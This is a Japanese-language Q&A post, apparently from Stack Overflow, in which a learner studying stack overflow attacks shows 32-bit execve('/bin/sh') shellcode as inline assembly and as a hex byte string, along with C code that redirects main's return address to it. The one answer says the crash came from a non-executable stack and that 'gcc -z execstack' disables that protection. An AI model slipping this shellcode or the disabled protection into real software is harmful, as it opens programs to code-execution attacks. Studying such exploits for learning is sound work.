1

スタック オーバーフロー攻撃がどのように機能するかを理解しようとしています。これまでのところ、戻りアドレスを元のコード内の命令に正常にリダイレクトできます。アセンブリでシェルコードランチャーを作成し、ac プログラム内で動作させました。gdb を使用したデバッグで、シェルコード ランチャーを表す 16 進数を取得し、c プログラムは正常に動作しました。しかし、この 16 進文字列を別のプログラムに挿入しようとすると、セグメンテーション エラーが発生します。戻りアドレスをトレースすると、プログラムが終了する前に 16 進文字列を指すように正常に設定されていることがわかりました。スナップショットは手順を示しています。同じコードがアセンブリでシェルを作成でき、メイン関数の戻りアドレスが sc (新しいシェルを作成する文字列) を指すように設定されているという事実を考えると、インジェクションが機能しない理由を理解できません。

  #include <stdio.h>
  void main(){
      asm(
           "xorl %eax,%eax;"
           "pushl %eax;"
           "pushl $0x68732f2f;"
           "pushl $0x6e69622f;"
           "movl %esp,%ebx;"
           "pushl %eax;"
           "pushl %ebx;"
           "movl %esp,%ecx;"
           "movl %eax,%edx;"
           "movb $0x0b,%al;"
           "int $0x80;"
 );
 }

アセンブリを含む上記の c コードをコンパイルして実行すると、完全に正常に実行されます。gdb を使用して上記の c プログラムの asm コードの 16 進数を取得し、次のスタック スマッシュ コードを生成しました。

    char sc[]=
            "\x31\xc0\x50\x68\x2f\x2f\x73"
            "\x68\x68\x2f\x62\x69\x6e"
            "\x89\xe3\x50\x53\x89\xe1"
            "\x89\xc2\xb0\x0b\xcd\x80";
    void main(){
              int *ret;
              ret=(int *)&ret+2;
              (*ret)=(int)sc;
     }

コードを実行すると、次のエラーが発生します。プログラム受信信号 SIGSEGV、セグメンテーション違反。0x0804a01c in sc ()

4

1 に答える 1

1

解決しました。問題は、スタックが実行可能ではないことです。「gcc -z execstack」でスタックを実行可能にできることがわかりました

于 2015-09-07T07:30:42.107 に答える